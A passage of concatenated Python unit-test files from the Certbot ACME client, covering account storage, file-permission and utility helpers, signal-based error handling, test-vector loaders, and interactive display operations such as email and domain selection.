        self.d.infobox.assert_called_once_with('b\nc', mock.ANY, mock.ANY)

    def test_non_str(self):
        self.handler.emit(logging.makeLogRecord({'msg': {'foo': 'bar'}}))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for certbot.account."""
import datetime
import os
import shutil
import stat
import tempfile
import unittest

import mock
import pytz

from acme import jose
from acme import messages

from certbot import errors

from certbot.tests import test_util


KEY = jose.JWKRSA.load(test_util.load_vector("rsa512_key_2.pem"))


class AccountTest(unittest.TestCase):
    """Tests for certbot.account.Account."""

    def setUp(self):
        from certbot.account import Account
        self.regr = mock.MagicMock()
        self.meta = Account.Meta(
            creation_host="test.certbot.org",
            creation_dt=datetime.datetime(
                2015, 7, 4, 14, 4, 10, tzinfo=pytz.UTC))
        self.acc = Account(self.regr, KEY, self.meta)

        with mock.patch("certbot.account.socket") as mock_socket:
            mock_socket.getfqdn.return_value = "test.certbot.org"
            with mock.patch("certbot.account.datetime") as mock_dt:
                mock_dt.datetime.now.return_value = self.meta.creation_dt
                self.acc_no_meta = Account(self.regr, KEY)

    def test_init(self):
        self.assertEqual(self.regr, self.acc.regr)
        self.assertEqual(KEY, self.acc.key)
        self.assertEqual(self.meta, self.acc_no_meta.meta)

    def test_id(self):
        self.assertEqual(
            self.acc.id, "bca5889f66457d5b62fbba7b25f9ab6f")

    def test_slug(self):
        self.assertEqual(
            self.acc.slug, "test.certbot.org@2015-07-04T14:04:10Z (bca5)")

    def test_repr(self):
        self.assertEqual(
            repr(self.acc),
            "<Account(bca5889f66457d5b62fbba7b25f9ab6f)>")


class ReportNewAccountTest(unittest.TestCase):
    """Tests for certbot.account.report_new_account."""

    def setUp(self):
        self.config = mock.MagicMock(config_dir="/etc/letsencrypt")
        reg = messages.Registration.from_data(email="rhino@jungle.io")
        self.acc = mock.MagicMock(regr=messages.RegistrationResource(
            uri=None, new_authzr_uri=None, body=reg))

    def _call(self):
        from certbot.account import report_new_account
        report_new_account(self.acc, self.config)

    @mock.patch("certbot.account.zope.component.queryUtility")
    def test_no_reporter(self, mock_zope):
        mock_zope.return_value = None
        self._call()

    @mock.patch("certbot.account.zope.component.queryUtility")
    def test_it(self, mock_zope):
        self._call()
        call_list = mock_zope().add_message.call_args_list
        self.assertTrue(self.config.config_dir in call_list[0][0][0])
        self.assertTrue(
            ", ".join(self.acc.regr.body.emails) in call_list[1][0][0])


class AccountMemoryStorageTest(unittest.TestCase):
    """Tests for certbot.account.AccountMemoryStorage."""

    def setUp(self):
        from certbot.account import AccountMemoryStorage
        self.storage = AccountMemoryStorage()

    def test_it(self):
        account = mock.Mock(id="x")
        self.assertEqual([], self.storage.find_all())
        self.assertRaises(errors.AccountNotFound, self.storage.load, "x")
        self.storage.save(account)
        self.assertEqual([account], self.storage.find_all())
        self.assertEqual(account, self.storage.load("x"))
        self.storage.save(account)
        self.assertEqual([account], self.storage.find_all())


class AccountFileStorageTest(unittest.TestCase):
    """Tests for certbot.account.AccountFileStorage."""

    def setUp(self):
        self.tmp = tempfile.mkdtemp()
        self.config = mock.MagicMock(
            accounts_dir=os.path.join(self.tmp, "accounts"))
        from certbot.account import AccountFileStorage
        self.storage = AccountFileStorage(self.config)

        from certbot.account import Account
        self.acc = Account(
            regr=messages.RegistrationResource(
                uri=None, new_authzr_uri=None, body=messages.Registration()),
            key=KEY)

    def tearDown(self):
        shutil.rmtree(self.tmp)

    def test_init_creates_dir(self):
        self.assertTrue(os.path.isdir(self.config.accounts_dir))

    def test_save_and_restore(self):
        self.storage.save(self.acc)
        account_path = os.path.join(self.config.accounts_dir, self.acc.id)
        self.assertTrue(os.path.exists(account_path))
        for file_name in "regr.json", "meta.json", "private_key.json":
            self.assertTrue(os.path.exists(
                os.path.join(account_path, file_name)))
        self.assertTrue(oct(os.stat(os.path.join(
            account_path, "private_key.json"))[stat.ST_MODE] & 0o777) in ("0400", "0o400"))

        # restore
        self.assertEqual(self.acc, self.storage.load(self.acc.id))

    def test_save_regr(self):
        self.storage.save_regr(self.acc)
        account_path = os.path.join(self.config.accounts_dir, self.acc.id)
        self.assertTrue(os.path.exists(account_path))
        self.assertTrue(os.path.exists(os.path.join(
            account_path, "regr.json")))
        for file_name in "meta.json", "private_key.json":
            self.assertFalse(os.path.exists(
                os.path.join(account_path, file_name)))

    def test_find_all(self):
        self.storage.save(self.acc)
        self.assertEqual([self.acc], self.storage.find_all())

    def test_find_all_none_empty_list(self):
        self.assertEqual([], self.storage.find_all())

    def test_find_all_accounts_dir_absent(self):
        os.rmdir(self.config.accounts_dir)
        self.assertEqual([], self.storage.find_all())

    def test_find_all_load_skips(self):
        self.storage.load = mock.MagicMock(
            side_effect=["x", errors.AccountStorageError, "z"])
        with mock.patch("certbot.account.os.listdir") as mock_listdir:
            mock_listdir.return_value = ["x", "y", "z"]
            self.assertEqual(["x", "z"], self.storage.find_all())

    def test_load_non_existent_raises_error(self):
        self.assertRaises(errors.AccountNotFound, self.storage.load, "missing")

    def test_load_id_mismatch_raises_error(self):
        self.storage.save(self.acc)
        shutil.move(os.path.join(self.config.accounts_dir, self.acc.id),
                    os.path.join(self.config.accounts_dir, "x" + self.acc.id))
        self.assertRaises(errors.AccountStorageError, self.storage.load,
                          "x" + self.acc.id)

    def test_load_ioerror(self):
        self.storage.save(self.acc)
        mock_open = mock.mock_open()
        mock_open.side_effect = IOError
        with mock.patch("six.moves.builtins.open", mock_open):
            self.assertRaises(
                errors.AccountStorageError, self.storage.load, self.acc.id)

    def test_save_ioerrors(self):
        mock_open = mock.mock_open()
        mock_open.side_effect = IOError  # TODO: [None, None, IOError]
        with mock.patch("six.moves.builtins.open", mock_open):
            self.assertRaises(
                errors.AccountStorageError, self.storage.save, self.acc)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.util."""
import argparse
import errno
import os
import shutil
import stat
import tempfile
import unittest

import mock
import six

from certbot import errors
from certbot.tests import test_util


class RunScriptTest(unittest.TestCase):
    """Tests for certbot.util.run_script."""
    @classmethod
    def _call(cls, params):
        from certbot.util import run_script
        return run_script(params)

    @mock.patch("certbot.util.subprocess.Popen")
    def test_default(self, mock_popen):
        """These will be changed soon enough with reload."""
        mock_popen().returncode = 0
        mock_popen().communicate.return_value = ("stdout", "stderr")

        out, err = self._call(["test"])
        self.assertEqual(out, "stdout")
        self.assertEqual(err, "stderr")

    @mock.patch("certbot.util.subprocess.Popen")
    def test_bad_process(self, mock_popen):
        mock_popen.side_effect = OSError

        self.assertRaises(errors.SubprocessError, self._call, ["test"])

    @mock.patch("certbot.util.subprocess.Popen")
    def test_failure(self, mock_popen):
        mock_popen().communicate.return_value = ("", "")
        mock_popen().returncode = 1

        self.assertRaises(errors.SubprocessError, self._call, ["test"])


class ExeExistsTest(unittest.TestCase):
    """Tests for certbot.util.exe_exists."""

    @classmethod
    def _call(cls, exe):
        from certbot.util import exe_exists
        return exe_exists(exe)

    @mock.patch("certbot.util.os.path.isfile")
    @mock.patch("certbot.util.os.access")
    def test_full_path(self, mock_access, mock_isfile):
        mock_access.return_value = True
        mock_isfile.return_value = True
        self.assertTrue(self._call("/path/to/exe"))

    @mock.patch("certbot.util.os.path.isfile")
    @mock.patch("certbot.util.os.access")
    def test_on_path(self, mock_access, mock_isfile):
        mock_access.return_value = True
        mock_isfile.return_value = True
        self.assertTrue(self._call("exe"))

    @mock.patch("certbot.util.os.path.isfile")
    @mock.patch("certbot.util.os.access")
    def test_not_found(self, mock_access, mock_isfile):
        mock_access.return_value = False
        mock_isfile.return_value = True
        self.assertFalse(self._call("exe"))


class MakeOrVerifyDirTest(unittest.TestCase):
    """Tests for certbot.util.make_or_verify_dir.

    Note that it is not possible to test for a wrong directory owner,
    as this testing script would have to be run as root.

    """

    def setUp(self):
        self.root_path = tempfile.mkdtemp()
        self.path = os.path.join(self.root_path, "foo")
        os.mkdir(self.path, 0o400)

        self.uid = os.getuid()

    def tearDown(self):
        shutil.rmtree(self.root_path, ignore_errors=True)

    def _call(self, directory, mode):
        from certbot.util import make_or_verify_dir
        return make_or_verify_dir(directory, mode, self.uid, strict=True)

    def test_creates_dir_when_missing(self):
        path = os.path.join(self.root_path, "bar")
        self._call(path, 0o650)
        self.assertTrue(os.path.isdir(path))
        self.assertEqual(stat.S_IMODE(os.stat(path).st_mode), 0o650)

    def test_existing_correct_mode_does_not_fail(self):
        self._call(self.path, 0o400)
        self.assertEqual(stat.S_IMODE(os.stat(self.path).st_mode), 0o400)

    def test_existing_wrong_mode_fails(self):
        self.assertRaises(errors.Error, self._call, self.path, 0o600)

    def test_reraises_os_error(self):
        with mock.patch.object(os, "makedirs") as makedirs:
            makedirs.side_effect = OSError()
            self.assertRaises(OSError, self._call, "bar", 12312312)


class CheckPermissionsTest(unittest.TestCase):
    """Tests for certbot.util.check_permissions.

    Note that it is not possible to test for a wrong file owner,
    as this testing script would have to be run as root.

    """

    def setUp(self):
        _, self.path = tempfile.mkstemp()
        self.uid = os.getuid()

    def tearDown(self):
        os.remove(self.path)

    def _call(self, mode):
        from certbot.util import check_permissions
        return check_permissions(self.path, mode, self.uid)

    def test_ok_mode(self):
        os.chmod(self.path, 0o600)
        self.assertTrue(self._call(0o600))

    def test_wrong_mode(self):
        os.chmod(self.path, 0o400)
        self.assertFalse(self._call(0o600))


class UniqueFileTest(unittest.TestCase):
    """Tests for certbot.util.unique_file."""

    def setUp(self):
        self.root_path = tempfile.mkdtemp()
        self.default_name = os.path.join(self.root_path, "foo.txt")

    def tearDown(self):
        shutil.rmtree(self.root_path, ignore_errors=True)

    def _call(self, mode=0o600):
        from certbot.util import unique_file
        return unique_file(self.default_name, mode)

    def test_returns_fd_for_writing(self):
        fd, name = self._call()
        fd.write("bar")
        fd.close()
        self.assertEqual(open(name).read(), "bar")

    def test_right_mode(self):
        self.assertEqual(0o700, os.stat(self._call(0o700)[1]).st_mode & 0o777)
        self.assertEqual(0o100, os.stat(self._call(0o100)[1]).st_mode & 0o777)

    def test_default_exists(self):
        name1 = self._call()[1]  # create 0000_foo.txt
        name2 = self._call()[1]
        name3 = self._call()[1]

        self.assertNotEqual(name1, name2)
        self.assertNotEqual(name1, name3)
        self.assertNotEqual(name2, name3)

        self.assertEqual(os.path.dirname(name1), self.root_path)
        self.assertEqual(os.path.dirname(name2), self.root_path)
        self.assertEqual(os.path.dirname(name3), self.root_path)

        basename1 = os.path.basename(name2)
        self.assertTrue(basename1.endswith("foo.txt"))
        basename2 = os.path.basename(name2)
        self.assertTrue(basename2.endswith("foo.txt"))
        basename3 = os.path.basename(name3)
        self.assertTrue(basename3.endswith("foo.txt"))


try:
    file_type = file
except NameError:
    import io
    file_type = io.TextIOWrapper

class UniqueLineageNameTest(unittest.TestCase):
    """Tests for certbot.util.unique_lineage_name."""

    def setUp(self):
        self.root_path = tempfile.mkdtemp()

    def tearDown(self):
        shutil.rmtree(self.root_path, ignore_errors=True)

    def _call(self, filename, mode=0o777):
        from certbot.util import unique_lineage_name
        return unique_lineage_name(self.root_path, filename, mode)

    def test_basic(self):
        f, path = self._call("wow")
        self.assertTrue(isinstance(f, file_type))
        self.assertEqual(os.path.join(self.root_path, "wow.conf"), path)

    def test_multiple(self):
        for _ in six.moves.range(10):
            f, name = self._call("wow")
        self.assertTrue(isinstance(f, file_type))
        self.assertTrue(isinstance(name, str))
        self.assertTrue("wow-0009.conf" in name)

    @mock.patch("certbot.util.os.fdopen")
    def test_failure(self, mock_fdopen):
        err = OSError("whoops")
        err.errno = errno.EIO
        mock_fdopen.side_effect = err
        self.assertRaises(OSError, self._call, "wow")

    @mock.patch("certbot.util.os.fdopen")
    def test_subsequent_failure(self, mock_fdopen):
        self._call("wow")
        err = OSError("whoops")
        err.errno = errno.EIO
        mock_fdopen.side_effect = err
        self.assertRaises(OSError, self._call, "wow")


class SafelyRemoveTest(unittest.TestCase):
    """Tests for certbot.util.safely_remove."""

    def setUp(self):
        self.tmp = tempfile.mkdtemp()
        self.path = os.path.join(self.tmp, "foo")

    def tearDown(self):
        shutil.rmtree(self.tmp)

    def _call(self):
        from certbot.util import safely_remove
        return safely_remove(self.path)

    def test_exists(self):
        with open(self.path, "w"):
            pass  # just create the file
        self._call()
        self.assertFalse(os.path.exists(self.path))

    def test_missing(self):
        self._call()
        # no error, yay!
        self.assertFalse(os.path.exists(self.path))

    @mock.patch("certbot.util.os.remove")
    def test_other_error_passthrough(self, mock_remove):
        mock_remove.side_effect = OSError
        self.assertRaises(OSError, self._call)


class SafeEmailTest(unittest.TestCase):
    """Test safe_email."""
    @classmethod
    def _call(cls, addr):
        from certbot.util import safe_email
        return safe_email(addr)

    def test_valid_emails(self):
        addrs = [
            "certbot@certbot.org",
            "tbd.ade@gmail.com",
            "abc_def.jdk@hotmail.museum",
        ]
        for addr in addrs:
            self.assertTrue(self._call(addr), "%s failed." % addr)

    def test_invalid_emails(self):
        addrs = [
            "certbot@certbot..org",
            ".tbd.ade@gmail.com",
            "~/abc_def.jdk@hotmail.museum",
        ]
        for addr in addrs:
            self.assertFalse(self._call(addr), "%s failed." % addr)


class AddDeprecatedArgumentTest(unittest.TestCase):
    """Test add_deprecated_argument."""
    def setUp(self):
        self.parser = argparse.ArgumentParser()

    def _call(self, argument_name, nargs):
        from certbot.util import add_deprecated_argument

        add_deprecated_argument(self.parser.add_argument, argument_name, nargs)

    def test_warning_no_arg(self):
        self._call("--old-option", 0)
        stderr = self._get_argparse_warnings(["--old-option"])
        self.assertTrue("--old-option is deprecated" in stderr)

    def test_warning_with_arg(self):
        self._call("--old-option", 1)
        stderr = self._get_argparse_warnings(["--old-option", "42"])
        self.assertTrue("--old-option is deprecated" in stderr)

    def _get_argparse_warnings(self, args):
        stderr = six.StringIO()
        with mock.patch("certbot.util.sys.stderr", new=stderr):
            self.parser.parse_args(args)
        return stderr.getvalue()

    def test_help(self):
        self._call("--old-option", 2)
        stdout = six.StringIO()
        with mock.patch("certbot.util.sys.stdout", new=stdout):
            try:
                self.parser.parse_args(["-h"])
            except SystemExit:
                pass
        self.assertTrue("--old-option" not in stdout.getvalue())


class EnforceDomainSanityTest(unittest.TestCase):
    """Test enforce_domain_sanity."""

    def _call(self, domain):
        from certbot.util import enforce_domain_sanity
        return enforce_domain_sanity(domain)

    def test_nonascii_str(self):
        self.assertRaises(errors.ConfigurationError, self._call,
                          u"eichh\u00f6rnchen.example.com".encode("utf-8"))

    def test_nonascii_unicode(self):
        self.assertRaises(errors.ConfigurationError, self._call,
                          u"eichh\u00f6rnchen.example.com")


class OsInfoTest(unittest.TestCase):
    """Test OS / distribution detection"""

    def test_systemd_os_release(self):
        from certbot.util import (get_os_info, get_systemd_os_info,
                                     get_os_info_ua)

        with mock.patch('os.path.isfile', return_value=True):
            self.assertEqual(get_os_info(
                test_util.vector_path("os-release"))[0], 'systemdos')
            self.assertEqual(get_os_info(
                test_util.vector_path("os-release"))[1], '42')
            self.assertEqual(get_systemd_os_info("/dev/null"), ("", ""))
            self.assertEqual(get_os_info_ua(
                test_util.vector_path("os-release")),
                "SystemdOS")
        with mock.patch('os.path.isfile', return_value=False):
            self.assertEqual(get_systemd_os_info(), ("", ""))

    def test_systemd_os_release_like(self):
        from certbot.util import get_systemd_os_like

        with mock.patch('os.path.isfile', return_value=True):
            id_likes = get_systemd_os_like(test_util.vector_path(
                "os-release"))
            self.assertEqual(len(id_likes), 3)
            self.assertTrue("debian" in id_likes)

    @mock.patch("certbot.util.subprocess.Popen")
    def test_non_systemd_os_info(self, popen_mock):
        from certbot.util import (get_os_info, get_python_os_info,
                                     get_os_info_ua)
        with mock.patch('os.path.isfile', return_value=False):
            with mock.patch('platform.system_alias',
                            return_value=('NonSystemD', '42', '42')):
                self.assertEqual(get_os_info()[0], 'nonsystemd')
                self.assertEqual(get_os_info_ua(),
                                 " ".join(get_python_os_info()))

            with mock.patch('platform.system_alias',
                            return_value=('darwin', '', '')):
                comm_mock = mock.Mock()
                comm_attrs = {'communicate.return_value':
                              ('42.42.42', 'error')}
                comm_mock.configure_mock(**comm_attrs)  # pylint: disable=star-args
                popen_mock.return_value = comm_mock
                self.assertEqual(get_os_info()[0], 'darwin')
                self.assertEqual(get_os_info()[1], '42.42.42')

            with mock.patch('platform.system_alias',
                            return_value=('linux', '', '')):
                with mock.patch('platform.linux_distribution',
                                return_value=('', '', '')):
                    self.assertEqual(get_python_os_info(), ("linux", ""))

                with mock.patch('platform.linux_distribution',
                                return_value=('testdist', '42', '')):
                    self.assertEqual(get_python_os_info(), ("testdist", "42"))

            with mock.patch('platform.system_alias',
                            return_value=('freebsd', '9.3-RC3-p1', '')):
                self.assertEqual(get_python_os_info(), ("freebsd", "9"))

            with mock.patch('platform.system_alias',
                            return_value=('windows', '', '')):
                with mock.patch('platform.win32_ver',
                                return_value=('4242', '95', '2', '')):
                    self.assertEqual(get_python_os_info(),
                                     ("windows", "95"))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test utilities.

.. warning:: This module is not part of the public API.

"""
import os
import pkg_resources

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import OpenSSL

from acme import jose


def vector_path(*names):
    """Path to a test vector."""
    return pkg_resources.resource_filename(
        __name__, os.path.join('testdata', *names))


def load_vector(*names):
    """Load contents of a test vector."""
    # luckily, resource_string opens file in binary mode
    return pkg_resources.resource_string(
        __name__, os.path.join('testdata', *names))


def _guess_loader(filename, loader_pem, loader_der):
    _, ext = os.path.splitext(filename)
    if ext.lower() == '.pem':
        return loader_pem
    elif ext.lower() == '.der':
        return loader_der
    else:  # pragma: no cover
        raise ValueError("Loader could not be recognized based on extension")


def load_cert(*names):
    """Load certificate."""
    loader = _guess_loader(
        names[-1], OpenSSL.crypto.FILETYPE_PEM, OpenSSL.crypto.FILETYPE_ASN1)
    return OpenSSL.crypto.load_certificate(loader, load_vector(*names))


def load_comparable_cert(*names):
    """Load ComparableX509 cert."""
    return jose.ComparableX509(load_cert(*names))


def load_csr(*names):
    """Load certificate request."""
    loader = _guess_loader(
        names[-1], OpenSSL.crypto.FILETYPE_PEM, OpenSSL.crypto.FILETYPE_ASN1)
    return OpenSSL.crypto.load_certificate_request(loader, load_vector(*names))


def load_comparable_csr(*names):
    """Load ComparableX509 certificate request."""
    return jose.ComparableX509(load_csr(*names))


def load_rsa_private_key(*names):
    """Load RSA private key."""
    loader = _guess_loader(names[-1], serialization.load_pem_private_key,
                           serialization.load_der_private_key)
    return jose.ComparableRSAKey(loader(
        load_vector(*names), password=None, backend=default_backend()))


def load_pyopenssl_private_key(*names):
    """Load pyOpenSSL private key."""
    loader = _guess_loader(
        names[-1], OpenSSL.crypto.FILETYPE_PEM, OpenSSL.crypto.FILETYPE_ASN1)
    return OpenSSL.crypto.load_privatekey(loader, load_vector(*names))






"""Tests for certbot.error_handler."""
import contextlib
import os
import signal
import sys
import unittest

import mock

def get_signals(signums):
    """Get the handlers for an iterable of signums."""
    return dict((s, signal.getsignal(s)) for s in signums)


def set_signals(sig_handler_dict):
    """Set the signal (keys) with the handler (values) from the input dict."""
    for s, h in sig_handler_dict.items():
        signal.signal(s, h)


@contextlib.contextmanager
def signal_receiver(signums):
    """Context manager to catch signals"""
    signals = []
    prev_handlers = {}
    prev_handlers = get_signals(signums)
    set_signals(dict((s, lambda s, _: signals.append(s)) for s in signums))
    yield signals
    set_signals(prev_handlers)


def send_signal(signum):
    """Send the given signal"""
    os.kill(os.getpid(), signum)


class ErrorHandlerTest(unittest.TestCase):
    """Tests for certbot.error_handler."""

    def setUp(self):
        from certbot import error_handler

        self.init_func = mock.MagicMock()
        self.init_args = set((42,))
        self.init_kwargs = {'foo': 'bar'}
        self.handler = error_handler.ErrorHandler(self.init_func,
                                                  *self.init_args,
                                                  **self.init_kwargs)
        # pylint: disable=protected-access
        self.signals = error_handler._SIGNALS

    def test_context_manager(self):
        exception_raised = False
        try:
            with self.handler:
                raise ValueError
        except ValueError:
            exception_raised = True

        self.assertTrue(exception_raised)
        self.init_func.assert_called_once_with(*self.init_args,
                                               **self.init_kwargs)

    def test_context_manager_with_signal(self):
        init_signals = get_signals(self.signals)
        with signal_receiver(self.signals) as signals_received:
            with self.handler:
                should_be_42 = 42
                send_signal(self.signals[0])
                should_be_42 *= 10

        # check exectuion stoped when the signal was sent
        self.assertEqual(42, should_be_42)
        # assert signals were caught
        self.assertEqual([self.signals[0]], signals_received)
        # assert the error handling function was just called once
        self.init_func.assert_called_once_with(*self.init_args,
                                               **self.init_kwargs)
        for signum in self.signals:
            self.assertEqual(init_signals[signum], signal.getsignal(signum))

    def test_bad_recovery(self):
        bad_func = mock.MagicMock(side_effect=[ValueError])
        self.handler.register(bad_func)
        try:
            with self.handler:
                raise ValueError
        except ValueError:
            pass
        self.init_func.assert_called_once_with(*self.init_args,
                                               **self.init_kwargs)
        bad_func.assert_called_once_with()

    def test_bad_recovery_with_signal(self):
        sig1 = self.signals[0]
        sig2 = self.signals[-1]
        bad_func = mock.MagicMock(side_effect=lambda: send_signal(sig1))
        self.handler.register(bad_func)
        with signal_receiver(self.signals) as signals_received:
            with self.handler:
                send_signal(sig2)
        self.assertEqual([sig2, sig1], signals_received)
        self.init_func.assert_called_once_with(*self.init_args,
                                               **self.init_kwargs)
        bad_func.assert_called_once_with()

    def test_sysexit_ignored(self):
        try:
            with self.handler:
                sys.exit(0)
        except SystemExit:
            pass
        self.assertFalse(self.init_func.called)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






# coding=utf-8
"""Test certbot.display.ops."""
import os
import sys
import tempfile
import unittest

import mock
import zope.component

from acme import jose
from acme import messages

from certbot import account
from certbot import errors
from certbot import interfaces

from certbot.display import util as display_util

from certbot.tests import test_util


KEY = jose.JWKRSA.load(test_util.load_vector("rsa512_key.pem"))


class GetEmailTest(unittest.TestCase):
    """Tests for certbot.display.ops.get_email."""

    def setUp(self):
        mock_display = mock.MagicMock()
        self.input = mock_display.input
        zope.component.provideUtility(mock_display, interfaces.IDisplay)

    @classmethod
    def _call(cls, **kwargs):
        from certbot.display.ops import get_email
        return get_email(**kwargs)

    def test_cancel_none(self):
        self.input.return_value = (display_util.CANCEL, "foo@bar.baz")
        self.assertRaises(errors.Error, self._call)
        self.assertRaises(errors.Error, self._call, optional=False)

    def test_ok_safe(self):
        self.input.return_value = (display_util.OK, "foo@bar.baz")
        with mock.patch("certbot.display.ops.util.safe_email") as mock_safe_email:
            mock_safe_email.return_value = True
            self.assertTrue(self._call() is "foo@bar.baz")

    def test_ok_not_safe(self):
        self.input.return_value = (display_util.OK, "foo@bar.baz")
        with mock.patch("certbot.display.ops.util.safe_email") as mock_safe_email:
            mock_safe_email.side_effect = [False, True]
            self.assertTrue(self._call() is "foo@bar.baz")

    def test_invalid_flag(self):
        invalid_txt = "There seem to be problems"
        self.input.return_value = (display_util.OK, "foo@bar.baz")
        with mock.patch("certbot.display.ops.util.safe_email") as mock_safe_email:
            mock_safe_email.return_value = True
            self._call()
            self.assertTrue(invalid_txt not in self.input.call_args[0][0])
            self._call(invalid=True)
            self.assertTrue(invalid_txt in self.input.call_args[0][0])

    def test_optional_flag(self):
        self.input.return_value = (display_util.OK, "foo@bar.baz")
        with mock.patch("certbot.display.ops.util.safe_email") as mock_safe_email:
            mock_safe_email.side_effect = [False, True]
            self._call(optional=False)
            for call in self.input.call_args_list:
                self.assertTrue(
                    "--register-unsafely-without-email" not in call[0][0])


class ChooseAccountTest(unittest.TestCase):
    """Tests for certbot.display.ops.choose_account."""
    def setUp(self):
        zope.component.provideUtility(display_util.FileDisplay(sys.stdout))

        self.accounts_dir = tempfile.mkdtemp("accounts")
        self.account_keys_dir = os.path.join(self.accounts_dir, "keys")
        os.makedirs(self.account_keys_dir, 0o700)

        self.config = mock.MagicMock(
            accounts_dir=self.accounts_dir,
            account_keys_dir=self.account_keys_dir,
            server="certbot-demo.org")
        self.key = KEY

        self.acc1 = account.Account(messages.RegistrationResource(
            uri=None, new_authzr_uri=None, body=messages.Registration.from_data(
                email="email1@g.com")), self.key)
        self.acc2 = account.Account(messages.RegistrationResource(
            uri=None, new_authzr_uri=None, body=messages.Registration.from_data(
                email="email2@g.com", phone="phone")), self.key)

    @classmethod
    def _call(cls, accounts):
        from certbot.display import ops
        return ops.choose_account(accounts)

    @mock.patch("certbot.display.ops.z_util")
    def test_one(self, mock_util):
        mock_util().menu.return_value = (display_util.OK, 0)
        self.assertEqual(self._call([self.acc1]), self.acc1)

    @mock.patch("certbot.display.ops.z_util")
    def test_two(self, mock_util):
        mock_util().menu.return_value = (display_util.OK, 1)
        self.assertEqual(self._call([self.acc1, self.acc2]), self.acc2)

    @mock.patch("certbot.display.ops.z_util")
    def test_cancel(self, mock_util):
        mock_util().menu.return_value = (display_util.CANCEL, 1)
        self.assertTrue(self._call([self.acc1, self.acc2]) is None)


class GenSSLLabURLs(unittest.TestCase):
    """Loose test of _gen_ssl_lab_urls. URL can change easily in the future."""
    def setUp(self):
        zope.component.provideUtility(display_util.FileDisplay(sys.stdout))

    @classmethod
    def _call(cls, domains):
        from certbot.display.ops import _gen_ssl_lab_urls
        return _gen_ssl_lab_urls(domains)

    def test_zero(self):
        self.assertEqual(self._call([]), [])

    def test_two(self):
        urls = self._call(["eff.org", "umich.edu"])
        self.assertTrue("eff.org" in urls[0])
        self.assertTrue("umich.edu" in urls[1])


class GenHttpsNamesTest(unittest.TestCase):
    """Test _gen_https_names."""
    def setUp(self):
        zope.component.provideUtility(display_util.FileDisplay(sys.stdout))

    @classmethod
    def _call(cls, domains):
        from certbot.display.ops import _gen_https_names
        return _gen_https_names(domains)

    def test_zero(self):
        self.assertEqual(self._call([]), "")

    def test_one(self):
        doms = [
            "example.com",
            "asllkjsadfljasdf.c",
        ]
        for dom in doms:
            self.assertEqual(self._call([dom]), "https://%s" % dom)

    def test_two(self):
        domains_list = [
            ["foo.bar.org", "bar.org"],
            ["paypal.google.facebook.live.com", "*.zombo.example.com"],
        ]
        for doms in domains_list:
            self.assertEqual(
                self._call(doms),
                "https://{dom[0]} and https://{dom[1]}".format(dom=doms))

    def test_three(self):
        doms = ["a.org", "b.org", "c.org"]
        # We use an oxford comma
        self.assertEqual(
            self._call(doms),
            "https://{dom[0]}, https://{dom[1]}, and https://{dom[2]}".format(
                dom=doms))

    def test_four(self):
        doms = ["a.org", "b.org", "c.org", "d.org"]
        exp = ("https://{dom[0]}, https://{dom[1]}, https://{dom[2]}, "
               "and https://{dom[3]}".format(dom=doms))

        self.assertEqual(self._call(doms), exp)


class ChooseNamesTest(unittest.TestCase):
    """Test choose names."""
    def setUp(self):
        zope.component.provideUtility(display_util.FileDisplay(sys.stdout))
        self.mock_install = mock.MagicMock()

    @classmethod
    def _call(cls, installer):
        from certbot.display.ops import choose_names
        return choose_names(installer)

    @mock.patch("certbot.display.ops._choose_names_manually")
    def test_no_installer(self, mock_manual):
        self._call(None)
        self.assertEqual(mock_manual.call_count, 1)

    @mock.patch("certbot.display.ops.z_util")
    def test_no_installer_cancel(self, mock_util):
        mock_util().input.return_value = (display_util.CANCEL, [])
        self.assertEqual(self._call(None), [])

    @mock.patch("certbot.display.ops.z_util")
    def test_no_names_choose(self, mock_util):
        self.mock_install().get_all_names.return_value = set()
        mock_util().yesno.return_value = True
        domain = "example.com"
        mock_util().input.return_value = (display_util.OK, domain)

        actual_doms = self._call(self.mock_install)
        self.assertEqual(mock_util().input.call_count, 1)
        self.assertEqual(actual_doms, [domain])

    @mock.patch("certbot.display.ops.z_util")
    def test_no_names_quit(self, mock_util):
        self.mock_install().get_all_names.return_value = set()
        mock_util().yesno.return_value = False

        self.assertEqual(self._call(self.mock_install), [])

    @mock.patch("certbot.display.ops.z_util")
    def test_filter_names_valid_return(self, mock_util):
        self.mock_install.get_all_names.return_value = set(["example.com"])
        mock_util().checklist.return_value = (display_util.OK, ["example.com"])

        names = self._call(self.mock_install)
        self.assertEqual(names, ["example.com"])
        self.assertEqual(mock_util().checklist.call_count, 1)

    @mock.patch("certbot.display.ops.z_util")
    def test_filter_names_nothing_selected(self, mock_util):
        self.mock_install.get_all_names.return_value = set(["example.com"])
        mock_util().checklist.return_value = (display_util.OK, [])

        self.assertEqual(self._call(self.mock_install), [])

    @mock.patch("certbot.display.ops.z_util")
    def test_filter_names_cancel(self, mock_util):
        self.mock_install.get_all_names.return_value = set(["example.com"])
        mock_util().checklist.return_value = (
            display_util.CANCEL, ["example.com"])

        self.assertEqual(self._call(self.mock_install), [])

    def test_get_valid_domains(self):
        from certbot.display.ops import get_valid_domains
        all_valid = ["example.com", "second.example.com",
                     "also.example.com", "under_score.example.com",
                     "justtld"]
        all_invalid = ["xn--ls8h.tld", "*.wildcard.com", "uniçodé.com"]
        two_valid = ["example.com", "xn--ls8h.tld", "also.example.com"]
        self.assertEqual(get_valid_domains(all_valid), all_valid)
        self.assertEqual(get_valid_domains(all_invalid), [])
        self.assertEqual(len(get_valid_domains(two_valid)), 2)

    @mock.patch("certbot.display.ops.z_util")
    def test_choose_manually(self, mock_util):
        from certbot.display.ops import _choose_names_manually
        # No retry
        mock_util().yesno.return_value = False
        # IDN and no retry
        mock_util().input.return_value = (display_util.OK,
                                          "uniçodé.com")
        self.assertEqual(_choose_names_manually(), [])
        # IDN exception with previous mocks
        with mock.patch(
                "certbot.display.ops.display_util.separate_list_input"
        ) as mock_sli:
            unicode_error = UnicodeEncodeError('mock', u'', 0, 1, 'mock')
            mock_sli.side_effect = unicode_error
            self.assertEqual(_choose_names_manually(), [])
        # Punycode and no retry
        mock_util().input.return_value = (display_util.OK,
                                          "xn--ls8h.tld")
        self.assertEqual(_choose_names_manually(), [])
        # Valid domains
        mock_util().input.return_value = (display_util.OK,
                                          ("example.com,"
                                           "under_score.example.com,"
                                           "justtld,"
